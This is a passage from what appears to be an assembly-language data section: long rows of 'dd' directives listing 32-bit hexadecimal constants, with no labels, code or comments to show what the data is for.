87608345h, 1C24836Fh, 0E98935B7h dd 80A3C05Fh, 7A8A70F4h, 0A89C25E1h, 0AABC72F9h, 609DDA2Fh dd 276855C0h, 0E7657087h, 1F16692h, 0E018F13Fh, 4CD677EDh dd 3622E99Dh, 3891BC10h, 78B94BBEh, 0AE2CDE12h, 25686E28h dd 43C6717Eh, 1821080Bh, 45A98226h, 0E91CD6ACh, 0DA8CB157h dd 448C406Fh, 5F2ACC63h, 0D8E7D13Eh, 0DC1A6B0Dh, 8153C573h dd 4F1BDF7h, 165DA320h, 0C776C51h, 6B601A94h, 216C2B0Ch dd 0A3E91A17h, 5EC632A9h, 20554CF4h, 0E0E7605Dh, 542F5181h dd 0BD04FAC5h, 429C4F16h, 0DEE26DE9h, 524B9ECEh, 4F4082ACh dd 92FDB34Ah, 98C775B0h, 22314527h, 0BEA524E7h, 0E0D0A469h dd 3906C3BDh, 0BAF6B5Ch, 5075E905h, 535D4C2Bh, 2F1B8A06h dd 20209C1Dh, 0D988259Bh, 7B917094h, 53157C2h, 7D88AB5Bh dd 40175D59h, 0AA055684h, 84786F8Bh, 212D2A84h, 7A0576F1h dd 0A4CC8AA9h, 4FC4EE90h, 0ABA58C6h, 22B45713h, 0B090CFh dd 26825931h, 6C3EED81h, 45411104h, 8A9414E9h, 79EB9924h dd 0B6E67C74h, 248D90D5h, 96B0FE86h, 59DBD121h, 22B80176h dd 966B2FF0h, 9E44FECh, 3D39BBA8h, 8BB3B33Bh, 0D2FF7A2Bh dd 0D638FFB0h, 173CB20h, 0BA0D8158h, 3E2C7A1Bh, 0F0F979AFh dd 405B605Bh, 226D46D3h, 290B0CC2h, 0CFA6E166h, 8001471h dd 4F586850h, 0DC7A306Eh, 1E13452Eh, 0E812D9F7h, 2CC86288h dd 85415891h, 0A8E57748h, 5DC20D9h, 6FB1F581h, 0ED998191h dd 4D90D8A6h, 5DEA2912h, 680150BCh, 89034312h, 58677ED7h dd 6802BD44h, 34F57B4Ah, 525B04DFh, 0B03DDE9h, 986E6658h dd 0B53B4E5h, 957DC88h, 65ACD4DDh, 0DA718154h, 807A3892h dd 46F76853h, 0F0184F70h, 1B8006A0h, 536148B9h, 0D1B88412h dd 7A02EDB8h, 0C94FB6DCh, 2D74AC8Dh, 6C490197h, 5324F551h dd 0BB42D04Bh, 0AA2E2111h, 1D92A18Ch, 44F9FD52h, 0EC242E14h dd 90FCD5A7h, 69D86840h, 0F860FCB4h, 9E508EF1h, 0F08439B2h dd 0E711AEE9h, 0A5680AC2h, 0E9851D55h, 4ABF84BAh, 2CE02DBh dd 0E8A813D3h, 0B1E9E4C0h, 852FD5B6h, 51C5A7C5h, 8F419AB8h dd 335D0801h, 0A8A551B9h, 8C027792h, 0C70E0664h, 5687E0D1h dd 79CE5E3Bh, 22C7064h, 749DE913h, 0D2ABDE94h, 1AB85958h dd 0E65FFEE9h, 0F3688A30h, 0D7339F4Eh, 541BCD1h, 6EC0A30Bh dd 88530EAAh, 0DE6152D3h, 781FE950h, 2AB800B5h, 512E1209h dd 243DE8B9h, 1F6C2B95h, 0FD1C8FC1h, 0A9F6F53Dh, 0DDC54FFFh dd 80D994AAh, 36730F5Dh, 0EDC13009h, 1DE35E08h, 704084CDh dd 7A7FC23Bh, 6652545Eh, 7BE0091h, 0C17DE537h, 54C005E6h dd 100E2FC3h, 391EBE45h, 0DD144A05h, 5C0BBEE1h, 0CF4B68F0h dd 0A2BC27A9h, 0DA32D9FEh, 1ED85975h, 0CD0A5EC1h, 0D085C53Bh dd 0A712A010h, 22AA89E7h, 0D37CEED1h, 2831C781h, 33E6062h dd 47D7F732h, 1884181Ch, 20FCBF93h, 0C9DDAA17h, 0C7876FCAh dd 73C91124h, 1049CCEDh, 9F0EA2FEh, 5752A073h, 3B0C23BFh dd 497F0AC0h, 1860A218h, 6D5A4411h, 0B5225095h, 91809DDAh dd 0DA50B483h, 0AF4A97F8h, 0BC5AAEE6h, 57028486h, 0D48EDB6h dd 0A27B0816h, 355A2600h, 81F30212h, 9099553Ch, 6F5A12ADh dd 0D85BA3CFh, 3481CE1Ch, 12072407h, 0E03A61E8h, 29CABD05h dd 48E1ADC6h, 94E909F1h, 0A0F75AD2h, 0B187C2Ch, 0D0316125h dd 8EC270FEh, 0BD987F23h, 462FDC07h, 0BB97B35h, 9E6D831h dd 8963E92Dh, 0AF4599F8h, 0DADEC82Bh, 0BD807260h, 13CD7784h dd 0FE6C317Ch, 302EF248h, 37066698h, 0E425930h, 25ADB665h dd 0F4698958h, 2336C808h, 5CE0A7B4h, 4B68E1F7h, 0E9BD30BEh dd 0E09A9391h, 0FE5BD803h, 0E17434C8h, 206C0A6Bh, 0ABB2E3CFh dd 0DFCC0938h, 4D458BEAh, 54E44900h, 531D67C6h, 0B18123BBh dd 0EBA7E941h, 0EBA43128h, 2286DCBh, 0AAB3202Dh, 2D746813h dd 0C9C4B2ACh, 9E213504h, 537BEC2Bh, 5460B92Fh, 0D74A9392h dd 899F5EB3h, 0BE5F2CABh, 32B2BDB6h, 0F70C1156h, 7C66F99h dd 394C1B27h, 0B00DC453h, 0EAB96656h, 5760ED0Ah, 38B80EBEh dd 0EFBC9355h, 94834C78h, 132D1A7Ch, 0CFC3388Ah, 0FEF029E1h dd 2A9D2660h, 92A3A5D3h, 9740F78Bh, 0CE97539Fh, 81F54E81h dd 0F0B4BA4Dh, 5B957A7Ch, 6F300DEh, 0DA312CA1h, 43F282A0h dd 56DD1213h, 680987A8h, 62767780h, 8896FC5Ah, 0F32FF644h dd 0F07F126Ch, 0CC849A0h, 8159008Fh, 558D6F3h, 3DB4048h dd 0FAE1428h, 7EF0C2E9h, 0DA9251B4h, 0EA2E1955h, 297AD3D5h dd 0B4616BDDh, 87967E0Ch, 0B23D8297h, 0E4D08A41h, 9899AA05h dd 15211964h, 0A4200471h, 0B805B753h, 5C0C403Bh, 0AFE549B5h dd 1CF07DADh, 4E058690h, 2125E268h, 0B081C1C3h, 59935AD6h dd 9910F243h, 34BF0275h, 60227E1Ch, 123EEFE9h, 0BFDF7817h dd 51E40113h, 7E91751h, 0D7E6AC90h, 0A26E8289h, 7C5D241Ch dd 1136897h, 0A74E29B6h, 21322798h, 0FEF570F0h, 456B2DD1h dd 0C7F80143h, 9CD62B44h, 7C03F97Bh, 0C954A074h, 5485A18h dd 5C809905h, 3DB4A121h, 7D4FD22Ch, 0EE7041D7h, 558C50C1h dd 227A7B33h, 99D66A4Eh, 87F1952Fh, 5C67C052h, 31A983F4h dd 9D493A70h, 295FA5EFh, 1A1EFDF4h, 1238E72Ah, 809B0C2h dd 0B68400F5h, 2E01933Bh, 3D24EE87h, 12BC9064h, 27C35989h dd 32C9B963h, 28A46A01h, 429172Ch, 4022FD26h, 0B254E908h dd 0CE1B87D7h, 0D908D9F7h, 396CFAC7h, 0D286882h, 0D12433CCh dd 0A5C0C251h, 0CB2E7E03h, 0B61A0298h, 0CF40856Eh, 0E0EC833Ch dd 6F3281F2h, 0E070C820h, 82F32DC1h, 675A0277h, 3B11547Dh dd 10BE4A8Eh, 2E3F02D7h, 42E309E8h, 0A011C75h, 0FD890820h dd 0BDA4A3E9h, 443A3CF9h, 2871124h, 3B152A52h, 0C08FC3E1h dd 0C10A2DA1h, 924508E5h, 267B70Eh, 6A9BE948h, 464EDDC2h dd 2200A15Eh, 0CD8083B5h, 76EDE697h, 0CEC52709h, 0D09709D0h dd 0ED8390D8h, 25E9F1D0h, 8EF113BBh, 743A7B82h, 6C566105h dd 0CFE20ECAh, 85D7331Eh, 35AA8799h, 5BC5B94Ch, 79E94142h dd 4715D6DFh, 7549EF51h, 6DBB7BA0h, 724A3F65h, 9204D5EDh dd 0FB8DC09Ah, 5316D985h, 0E9094EFDh, 0CA47CAA5h, 0E2AC7E2Dh dd 80016ED1h, 697CEEBh, 13C7A868h, 20AEA185h, 4DEEC5DDh dd 0C397FA2Dh, 50602BAh, 409C0969h, 5E3C44DDh, 0B3891643h dd 0AB0BD34Fh, 0AC6A714Ah, 6551AFD7h, 9D0CE904h, 40855FFFh dd 0DC547C0Dh, 9090515h, 77E3AB42h, 0F583A502h, 6D66C307h dd 2F67B7C9h, 0EAFDE985h dd 849B27BBh, 0A7B59760h, 4DF530h, 43D0C720h, 76907B7Fh dd 8809C90h, 945AF1E9h, 0DE05ABCDh, 0BBBB74BAh, 90EE2C64h dd 56BF57D5h, 0CF367724h, 0E8A0208h, 0ECE4F201h, 758E9782h dd 91E28D1Dh, 55175D59h, 0CE42215Ah, 36A805E4h, 472F7A89h dd 8D6DE8C4h, 85E0F5F2h, 0E396811h, 8A9EA1E9h, 63C72F08h dd 0EFC0DCBDh, 0B83A5031h, 4F173BFEh, 0BC4025E1h, 2672189Eh dd 5674369h, 0C033510Bh, 0A235F3C8h, 5016402Dh, 8011027Bh dd 0B225E91Ah, 94E8B1A4h, 0F52BAF6Bh, 1C46BB6Ah, 2B85FF1Eh dd 81D6B450h, 3B80655h, 789FB252h, 63D19551h, 172C133Dh dd 0E669F821h, 4E7FEE36h, 50E10947h, 0DBEAD882h, 0FA15E30Bh dd 790050D0h, 76201768h, 7E21011Eh, 0D460A93Bh, 0FA06277Fh dd 2508E93Ch, 4C11292Bh, 9C5394AAh, 0F017510Fh, 6EA3BB80h dd 9B1BCF7h, 61FF300h, 352371Dh, 0E5490DBAh, 0C1894A28h dd 262D60E2h, 43B7C41h, 0BAD58BB1h, 0C71C58CAh, 1EA90382h dd 0CA10DF01h, 0FE079A99h, 40D2F6CAh, 0CDF280C2h, 4F12EAE6h dd 30CDD388h, 0D7B1AB02h, 1CC9BBE6h, 0FB4387B2h, 6635159h dd 3D66C331h, 0BA68561Ch, 95E3B4A7h, 9677E729h, 69662061h dd 190CC81h, 0D76FEE81h, 7BF9B7DDh, 934987CCh, 629D4AB7h dd 7487F288h, 5BFE0338h, 395CB353h, 0E3833BD6h, 5EBC011h dd 17880C48h, 1FC9CB35h, 0A9D738E0h, 0BB41EFFDh, 845308C9h dd 78E7FAE3h, 685D09B5h, 0B2570EC0h, 6DE58057h, 0B81F442Ah dd 6ACD3871h, 0C4E9100Eh, 7EEFB4D6h, 4D54200Fh, 0EEDF8540h dd 0F128FFF7h, 2C11D93h, 0E912A268h, 0DE34EF24h, 5952CCAAh dd 29906818h, 827DF429h, 596EB5Eh, 0A9098DA8h, 80F4CE8Ah dd 1344A739h, 0CA52FA84h, 1367C25h, 7B4F1171h, 320FE805h dd 0AB812E5Bh, 0E2B6549h, 0C2BAB0BAh, 6815A260h, 10B8CE5Ch dd 58580A3Eh, 197833Eh, 0BB37154Dh, 0A81A4548h, 4E77686Bh dd 3B1AB0FFh, 573063ABh, 0CC0E7460h, 8EE92B4Ah, 0A0300841h dd 0BB9A4075h, 0DC08B005h, 738729D8h, 8CBC7FD5h, 4B90CA4Ah dd 0E4BB7922h, 79D7209Eh, 48F75D5Ah, 889E2F7Eh, 0A439B047h dd 21232E0h, 0CDE7CBCh, 0CB339C7Dh, 75D9601h, 6E3C17Ah dd 1784ED20h, 0FC85D76Fh, 68500BEBh, 0AFD3C702h, 0A29590D0h dd 0DDF9F6C3h, 0BD231866h, 6AF9424Bh, 3264AD07h, 0F70543D2h dd 2B00D229h, 2FB3F2FDh, 0C90E5167h, 6B552B4Fh, 47DEF008h dd 0E93F123Bh, 0D0B7E007h, 22B7E548h, 58C116A2h, 6413F849h dd 19800706h, 16F41AD0h, 8530E92Eh, 797AB647h, 0A72DBBA4h dd 73E8F46Ah, 0B0CFE5F1h, 6BB41667h, 0A8B14A51h, 97E47A79h dd 378187CCh, 0C01FF264h, 0DC7A8C0Fh, 0D2830146h, 0B80AA82Ch dd 63901720h, 30FD3F54h, 8A10E562h, 9E8B0B9Dh, 0CEDFF34Ah dd 87CCBF2Dh, 0DD9BE912h, 7E950161h, 59DFEE10h, 0C7D9830h dd 2E8E1EE2h, 0D2B95F6Bh, 89B92F61h, 0E65AD183h, 7396B76Fh dd 4902EBA1h, 384A150h, 2CAE5893h, 6B401D84h, 1EE607BEh dd 508164EBh, 7C167DC9h, 186450B7h, 0C5DF00Bh, 0CC2F6C60h dd 0CA6D82Ah, 105D8F7h, 0BB7B354Dh, 89133A0Bh, 0D07B0FC5h dd 1FF4B2Ch, 0A0E72126h, 99126B31h, 9BAD0A0h, 5BBC178Bh dd 0D51146C0h, 9F6A7582h, 0E90BFBC5h, 48D3E1D9h, 1DFBA43Ah dd 0E159292Dh, 0B8304128h, 0BC5205A4h, 0C2DFF725h, 210978DDh dd 421928C6h, 61EF8130h, 0C1E90D26h, 0EA5D2A76h, 0F2EDDD0Fh dd 5689CD5Ah, 0B440EBE7h, 5F8270BCh, 519F95C6h, 0C0836324h dd 8121FFFCh, 8604EEA4h, 74207E07h, 0E65E5FE0h, 250C222Bh dd 17FEAD49h, 20484C69h, 892EB26Ah, 410B64F5h, 4E89C67Eh dd 0A47FA252h, 0FBC4C8FFh, 8B3D634Eh, 5302303Bh, 80BF67E9h dd 5FEDBD6Ch, 0C93C4EBAh, 19BFDC27h, 1270253Dh, 9F9F3CDh dd 0A039ABD7h, 9233A22Ah, 0F6F4B03h, 0CAC09F0Ch, 4A092F62h dd 95FDD15Ch, 8180CDD0h, 0D4745734h, 0CC5E96Dh, 2D9F5538h dd 8807031Ah, 5AD7D1F2h, 271E785Eh, 0A7E7F605h, 0D20C058h dd 0C48019A5h, 0ECF0065Dh, 10B2CEC6h, 696291ECh, 57C5C223h dd 47537107h, 5506BC3h, 6CA2DB26h, 25AB7E69h, 0E941B4F9h dd 0FE0211A3h, 80301340h, 1B93EB58h, 0E241A843h, 591AFE02h dd 90D86F56h, 57879D86h, 82B36F4Eh, 4D605980h, 0D582E6C1h dd 0E912581Ch, 49446CE1h, 80A802EBh, 7E5A0380h, 1720E950h dd 495C5E76h, 0F7F6AE63h, 2C7C4F25h, 5DD01A97h, 2B948077h dd 0B816C048h, 92AB2076h, 0F5CA293Bh, 680EA762h, 2B49C19Dh dd 0BD0D14E8h, 8322E9C7h, 200BE92Ch, 0EB2CB78Eh, 7B7B90CBh dd 0BE838167h, 218E9794h, 41B04653h, 731F12C3h, 4DAE87Eh dd 715D6785h, 6C5C3C01h, 72406BF3h, 14B00BC6h, 3BC2B5B8h dd 0E9044676h, 16FDBCBBh, 121AF94Bh, 0BF656740h, 7DAB6E13h dd 1B652099h, 0D5BC4A4Fh, 0D82AE9C2h, 5E977FCh, 95A04769h dd 0BC2926CCh, 2D9816B4h, 0E90FD2B0h, 1B586Ch, 2E3A355Ah dd 0C62D5D16h, 0D90CA413h, 0E91020EEh, 5195C276h, 0B9AA831h dd 79E170DBh, 2605B00h, 0C1760D3Eh, 0E1D1063Ch, 31353216h dd 5D6855FEh, 7F2CF5E3h, 0E108FD0Bh, 0F40F388Ch, 16D3885Ah dd 66434710h, 922857BAh, 307FEB47h, 3CBB530Eh, 70A80878h dd 0F78C099Dh, 0FF848F76h, 81AFEC7Eh, 78EAB951h, 0CDE50DF9h dd 5325FB69h, 0C3BA1DE0h, 6FA76416h, 724BCF2h, 2585100Dh dd 5574B228h, 0B551C840h, 0E580170Eh, 46ED67A4h, 33E9E801h dd 0FE1F5668h, 0D737F9CCh, 14BAC20Ah, 5A492075h, 0A06D872Ch dd 410A184h, 3BE96641h, 0B1B7E8C9h, 842E555Bh, 6227E15Ch dd 0F2A3932Ah, 0E9F32906h, 0BB0CDB99h, 3E0611D3h, 3E9A41ADh dd 5F2E34E6h, 0A4555A14h, 23443CB5h, 24014ECh, 78657E75h dd 24CC7C59h, 3D6100BCh, 0D5217F15h, 97EDE4B8h, 4BBA055Eh dd 29DD2DDAh, 183C83E7h, 1CC72A91h, 36E3CCEh, 40DC0FA8h dd 90092D8Ah, 48637F57h, 80F0ACACh, 6626F830h, 620B365Bh dd 4FB9A90h, 0A5CCB190h, 59CB0E28h, 1270B868h, 0EFC225E9h dd 4B696CB9h, 528FB78Ah, 0EFBC4B8Eh, 14656984h, 470709F2h dd 0F6078774h, 3E342A77h, 19049CC5h, 72EACB77h, 1C7D586Ah dd 56530634h, 180FD4E9h, 290BBDh, 705EC738h, 0EE7E7A7Ch dd 231A0BCFh, 0D90416C3h, 0F010BC6h, 0BAF8044Ah, 0C727BBB9h dd 2340E9CAh, 5418F9E7h, 0C51A4E79h, 74142C45h, 0E3E98C62h dd 52093549h, 0FD2EA607h, 64F5C122h, 53608E71h, 16626850h dd 75B9D76h, 8589A2F0h, 248BDA4h, 0AF5CB9EEh, 0E988E036h dd 0BC80BD3Dh, 625870BFh, 9B4B7C7Ah, 595B0D00h, 50885253h dd 41D6E4C6h, 6B03AABh, 3CD5C2Fh, 0DD2558CFh, 0DA8EAC8Eh dd 0A2BEF506h, 23E7A129h, 69261E2Ch, 5BD56858h, 0C218F84Ch dd 777901E9h, 0BB49D666h, 0F9211B2Bh, 1A4DD14Fh, 0A2EB7581h dd 7E230B71h, 882E13C1h, 3A845657h, 0B2527791h, 0EEA0830h dd 57B3537Bh, 0AED8CBC5h, 0ABA87309h, 90E24677h, 818440D9h dd 6B85E50Ah, 0C500EE0Eh, 0D5D6054h, 0E2E95E01h, 69D809BAh dd 7B87663h, 7CCD4EAEh, 3702670Ch, 8FE90266h, 80804EFAh dd 277E01DCh, 0F474357Ch, 64706F09h, 54BD0295h, 2D5871CCh dd 0FAE90682h, 6812E2D8h, 80B209A5h, 0ACD918DEh, 4218CAEEh dd 0B65F71A8h, 3DE6BF67h, 4664CD25h, 24F79058h, 1EBE1FBEh dd 0F5AC0D3h, 0E468C0B7h dd 0DE25A3B4h, 8008720Bh, 7F1462FEh, 838C48F9h, 0AAF01B03h dd 738B80E6h, 90486F34h, 1B8B0297h, 0D7F73891h, 42770EE2h dd 4F3336A6h, 0EF4F13D9h, 7DE9683Ch, 0B148D64Fh, 1CF67ABFh dd 1335F74Eh, 3721D25Ch, 96046332h, 0B9382972h, 93815B68h dd 0DA56CF1h, 0C6BF8050h, 0B4EBF2FDh, 0A4968848h, 7AC26802h dd 0EE18E8D9h, 770980AFh, 0C18F1C4Fh, 0ECE9A961h, 9C2EA662h dd 0CC421B6Dh, 0BFA7A02Dh, 5CB75723h, 27353966h, 3C4EB0Dh dd 0B18512EFh, 70E22AE7h, 3C7D5C8Bh, 915BBD3Bh, 7949D289h dd 0F9DD8801h, 7004B712h, 21AFE769h, 295166B1h, 997E847Ch dd 0F4024109h, 0ACD67461h, 950FF0C8h, 155C25Bh, 29ACC2D1h dd 70845508h, 0ECF09430h, 0F6D7DEA0h, 4CB94E40h, 12060A5Bh dd 350FCA68h, 4BC9AA59h, 90A1F23Eh, 0E34912CBh, 0C1344D20h dd 4B327B77h, 0DEEDD060h, 8C0D3F7h, 550BE681h, 0A1C5829h dd 8826CB20h, 94E4FFAh, 687EB0D8h, 0B90A4BF9h, 0B3E984EAh dd 0B85C9AF0h, 0A238270Fh, 681591E6h, 85B62DAAh, 75FA0DB1h dd 0AD9285D1h, 8292DE42h, 688240B9h, 40A54BE1h, 0ED550C54h dd 0C90B8185h, 2F814A1h, 4D5D96Ch, 4F649133h, 0C5F31365h dd 0FA4C14E3h, 68F6B224h, 5CBF8839h, 755E066Fh, 7CFD2F9Fh dd 0DA366598h, 7542F782h, 29931255h, 7AB4FDDFh, 9F215C4Ah dd 0CA3A9E59h, 0F94074ECh, 58681266h, 1290A215h, 8DE26141h dd 16A8DF5Bh, 914311E9h, 1001CE68h, 25B342C9h, 514E1954h dd 1DF8B3Eh, 4CB61BA3h, 0B7AD3E9h, 0BAD65FBDh, 4C5EF2C2h dd 5268156Ah, 2F9CA164h, 9BD0C71Ah, 0E00EFD4Ch, 3A2047C7h dd 6D0646D6h, 0BFDE64E9h, 1D05577Ch, 0E0C15805h, 0EE32920Ah dd 0AF85E5A7h, 0A2FD2E4h, 0AD6FF905h, 77B188D4h, 8D3CBDE9h dd 835B6627h, 210F042h, 5C68BEE9h, 34B8B5Dh, 7A917FC0h dd 30765EDCh, 1ABB5330h, 79C86A1Fh, 697BF300h, 63D1289Fh dd 785C10EBh, 0C0561B3h, 7C349C3Ah, 171FD080h, 29681A44h dd 80950DDh, 4B070AF8h, 0D149D911h, 8BF205DBh, 6534BDB4h dd 0BC290CC7h, 87E94A41h, 1280645Eh, 84B9A2D3h, 0A0146018h dd 1288FD10h, 2B014E59h, 0F0570DB8h, 98CE847Eh, 0E972548Ah dd 8BA8BF4Bh, 0D1EEB92h, 36C2A4D2h, 59982B5h, 8BC5FD91h dd 0D047EA14h, 5FD21B46h, 43EBB52Fh, 4F295B4Eh, 93401E7Eh dd 573DDE66h, 0AD87C251h, 4A35B980h, 2962745Ch, 627A8Bh dd 8A3B450h, 16D0E348h, 6EE49419h, 2BF0757h, 0D20AAB36h dd 0F04C8BAEh, 288F8BEFh, 0A18B5DF8h, 4C3EF76h, 0E3D8F271h dd 0E90B16CBh, 16ECF912h, 748F14C6h, 0C9A7F25Fh, 0B85460ABh dd 2D15C030h, 763D6AEEh, 469FDA90h, 0F92976Ch, 0C3407662h dd 0B080CC21h, 0C728194Fh, 305BB658h, 81A051E9h, 0E17C8819h dd 38B92C39h, 2AF94AC4h, 0E9F00C61h, 0BB113435h, 3109D100h dd 4FEB8145h, 62EE0B18h, 0F2197E9h, 0CD68D001h, 0D5302B05h dd 3AD71FCh, 12F58152h, 0C4DC901Bh, 0A58BBB8Dh, 92685301h dd 201A2217h, 0DD0CF36Eh, 0C6C8725h, 0A532064Fh, 31B95176h dd 0C15B3490h, 0B52D138Ch, 419D4BD2h, 0A435A9E3h, 0BE5EB0D4h dd 1AC272C9h, 2CE1B961h, 0A5F387F6h, 0F7C176A2h, 0E8BD58A5h dd 545313F6h, 0EAA542B9h, 6D3BCA2Dh, 97103AECh, 0D966A24Ah dd 0BD521AC4h, 0A7A2BE80h, 894E8F1Dh, 0DEC471FDh, 0DD0105F9h dd 7CD28A1Eh, 352717ACh, 9ADC7BC2h, 0E76A4052h, 0D31D05E2h dd 0A827E917h, 675C2711h, 0FCB40C79h, 0A709F38Bh, 5667699h dd 0FD88DD9Eh, 9EB73D53h, 0BB09F316h, 5D2B6C77h, 8E636D92h dd 0DBBB3403h, 0D1424640h, 0E524B684h, 0B151285Ah, 99E380F4h dd 10BA80A3h, 0D3218BC5h, 4E37FA88h, 0BB922095h, 0A1625CE5h dd 0E6C7BFAEh, 535232E0h, 0A5C1F756h, 81B3819Ch, 9B0F70CDh dd 40D7F970h, 0AE4AB6B4h, 0E884A9FCh, 0D31E1C9Ah, 3936F025h dd 0F394ADE3h, 0E90B8F1Ah, 9F11F077h, 0A398883Ch, 271B266Fh dd 0E926AD16h, 0D7A60616h, 583BD67Ah, 1497F66Ah, 0BCE886B5h dd 0C0E9E101h, 2EE435E5h, 9B7A5CD1h, 0FA606A0Dh, 4B8B706Bh dd 2DAED53h, 79E9595Eh, 7035D20Fh, 25FE27D1h, 84BF9D7Ch dd 8DF8B1CCh, 0C6705D49h, 93B60F2Ch, 892B0908h, 0C5DA155Bh dd 5613EF9Bh, 0C622FAC0h, 0B2E9145Eh, 68C7E8C8h, 0F8432C69h dd 0B898015Fh, 927C412Fh, 94B75CE8h, 0C16474Ch, 62D8451Bh dd 0C6A4F826h, 1339559h, 0CFF26CEEh, 8CF3296Bh, 59E27C84h dd 0C61C8494h, 124542D6h, 88B8FE29h, 1C60690Bh, 2AE9C300h dd 8FBD6DAAh, 34C23C96h, 60207465h, 6103D67Dh, 0E9EE3A06h dd 5ACE2886h, 0F4B106B8h, 1D443AC4h, 0ECA874E1h, 563AFC4h dd 41AFD7F7h, 0AB0BED55h, 0DAC54099h, 50177708h, 8010F901h dd 74FF7D08h, 2BFF66EEh, 94041D88h, 0EC880EC1h, 8402E24Bh dd 0C0C61EEh, 4EFC4F2Dh, 0D34E80A4h, 63EC766h, 2530872Ch dd 78BAE909h, 0A35C5E53h, 721A26B3h, 6BDEDBAFh, 0F0A11547h dd 249C5888h, 9F7425B2h, 74253FA6h, 315889ABh, 0C3E2440Bh dd 81000356h, 0B27684F1h, 0BAE29F59h, 5F19B571h, 0E863E7B0h dd 8402B84Eh, 8C145B9Fh, 8CACF84Eh, 4801DF18h, 585E54D3h dd 719786F6h, 7C3E662Dh, 2408A041h, 807685E9h, 0FE58C220h dd 0EA1680CAh, 0A1E530E8h, 0B8E1D22Fh, 943C925Eh, 2DC634CAh dd 0B35511C6h, 8885116Eh, 5F028E4Bh, 4951F868h, 68869810h dd 0E0FC2D5Fh, 8E9B7E4Ah, 928E90Bh, 10A8287Bh, 0F9EA88A4h dd 0D030E12h, 112D0B80h, 89FD0B9Ah, 0D6EB8BF1h, 8E568334h dd 40D209B1h, 0BDC199B1h, 0BB398814h, 7CD78590h, 0FD84E94Bh dd 0F56AED99h, 9DB7457h, 63E86004h, 0CDEA5C01h, 5B0C0151h dd 8883705Fh, 0B0289E40h, 1D152C27h, 62D2514Dh, 5A41724Ch dd 6AC082EAh, 0FA2905E8h, 952E12C9h, 230BFE6Dh, 471CAB8Eh dd 10E98423h, 16680212h, 61DDDC13h, 2E20790Eh, 54853009h dd 64742D8Dh, 90A9857Ah, 0F9ED9929h, 7F684E65h, 5AF12E72h dd 65CB13F3h, 0A3D0AFB2h, 0FB252FEh, 5EAC01Ch, 0F6EDF3Ch dd 0F2E655CAh, 66900633h, 839DE72Ah, 0C3AD5B5Eh, 1970CC8Bh dd 7CBB5ED6h, 4730E968h, 5BC9B5EEh, 7950245Eh, 154A00D0h dd 3EE93538h, 4DD1BA5Ah, 8005785Ch, 0E67BF45Fh, 0E8C1120Ch dd 14070605h, 11CE48E9h, 0D439EB00h, 25D8F767h, 36262E00h dd 0FD033521h, 44B858B3h, 409BE240h, 4D9501A1h, 12922410h dd 0C159A002h, 0DB608EA2h, 5225C4BBh, 0B680D94Fh, 4B4B4E8Ch dd 0D94087BDh, 86D71613h, 73C4E83Bh, 9BC748h, 46735C52h dd 0BF08A8E9h, 4721DC18h, 84731C4Ch, 6805AD86h, 8579514h dd 56259B08h, 71782D7Ah, 396AC55h, 0A7E146B8h, 0F5803110h dd 2D0B2A22h, 0FEF29654h, 58E6B76Bh, 594E5598h, 62F2CCD7h dd 0C0E064DEh, 543BBF3Ch, 30B05D35h, 2097BB02h, 75F801F7h dd 60A53F45h, 5B12E974h, 4E958F96h, 14EDE1F0h, 9830F64Ah dd 0F82F4407h, 1284C917h, 2AF120Fh, 0B0D2DD26h, 0BC5AB985h dd 222DC064h, 0FC3B8D08h, 70551D8h, 145055D6h, 6052C7B6h dd 2449A7D2h, 0CA5228h, 0F2102EF3h, 5D73EB29h, 5450C327h dd 9910F283h, 0BE9164C9h, 0FE0CF862h, 4045EB76h, 2E75017h dd 6307E909h, 3726D75Bh, 0FB47B88h, 6173BC68h, 6967D916h dd 82BA8455h, 1B710412h, 17A810D0h, 1390F6CBh, 1DBE56EBh dd 0C10C115Bh, 7454E681h dd 0F6B0CFD7h, 0E83E27BBh, 10CE025Ch, 6075087Ch, 0C0397ECh dd 0A4E91691h, 9B09BFB9h, 0D7627E51h, 126AEA0Ah, 0EC798405h dd 223B07BEh, 3AC6AC97h, 7A828035h, 58873031h, 0FB50E186h dd 0D8A44062h, 7C4E06F1h, 9904CF0Ch, 0DE60E18h, 3A4F6005h dd 4DB3C38Ah, 30F589B1h, 0E4B77FB6h, 0A251B56Bh, 0F23DA43Eh dd 0FF5DEF42h, 5C0244BCh, 766D072Dh, 0D0827D0Bh, 667F8A6Bh dd 13BB7905h, 0AE4F960Ch, 6DC6C27h, 52A9003h, 4C2249DAh dd 0B2C9FB31h, 0C5F3A66Eh, 92BEB9E9h, 0E17FF3F8h, 5BE6A72Fh dd 0EFAEBD0Fh, 35B93D4h, 0EB284AD7h, 4B62EAFh, 1D3B636h dd 7E3363BFh, 41053568h, 0C3717A14h, 204F6661h, 0BA190B8h dd 5EF510EEh, 19DE07B9h, 0E0811A63h, 988138Ch, 774E70EAh dd 0C039F88Dh, 0C768A15h, 0E3815B01h, 88C24174h, 45C5936h dd 0A34A6468h, 6A5110B1h, 0EBD5F941h, 5C05BE05h, 7F009CBEh dd 1FF66179h, 50CA7829h, 2D8708EAh, 9595AD1h, 2D2BD40h dd 684F0B64h, 4C6645C2h, 0C003CF03h, 41215E1Bh, 9E0185EAh dd 28203D50h, 89582F18h, 0E60415F2h, 1B305CE2h, 80F28780h dd 290531E5h, 6571E93Ah, 32AA03EDh, 6E568FC1h, 54BEBED5h dd 0A32BC3F2h, 42521E9Ah, 435D319Eh, 3A076960h, 14563522h dd 9213D668h, 8405BBD3h, 0EACC174Dh, 0B0285EB0h, 0D741B511h dd 8B39EC66h, 3EF15A5Bh, 4C053460h, 12F9695Ch, 0DBCEECAh dd 102768E6h, 5B455E0Ch, 317841EAh, 0B588DF9Bh, 38680C65h dd 45B25B47h, 92B96C20h, 952BF0A0h, 0B35725C2h, 0FDA4FD2h dd 80145940h, 494E3503h, 0C4F252A8h, 53F61DF0h, 5968660Bh dd 41E8540Fh, 35CF885Bh, 0B4696C90h, 0A388B413h, 0FC5A4ED6h dd 2C5CA0F9h, 0F5F8E007h, 9134F2D2h, 0DE961D1h, 940A2CA3h dd 0F60827F5h, 18D81769h, 0D3870824h, 4C2614B8h, 4468176Ch dd 181E54Ch, 7D1062EBh, 0E3C30114h, 58080B95h, 0A13E790h dd 4D89AF94h, 5F9D022h, 8440C6C9h, 2DE0139h, 210E507Ah dd 1292E8D3h, 0FCAC755Ah, 4BB02312h, 1254D5A7h, 0AC40E310h dd 21F74109h, 0C9E57A0Eh, 4B0B447h, 5A294306h, 0B2CCE8EAh dd 18D7DE38h, 88AD7C41h, 2125AB74h, 92518C8h, 4F7B90C2h dd 4FD7E2D3h, 3F5F489h, 26BB5981h, 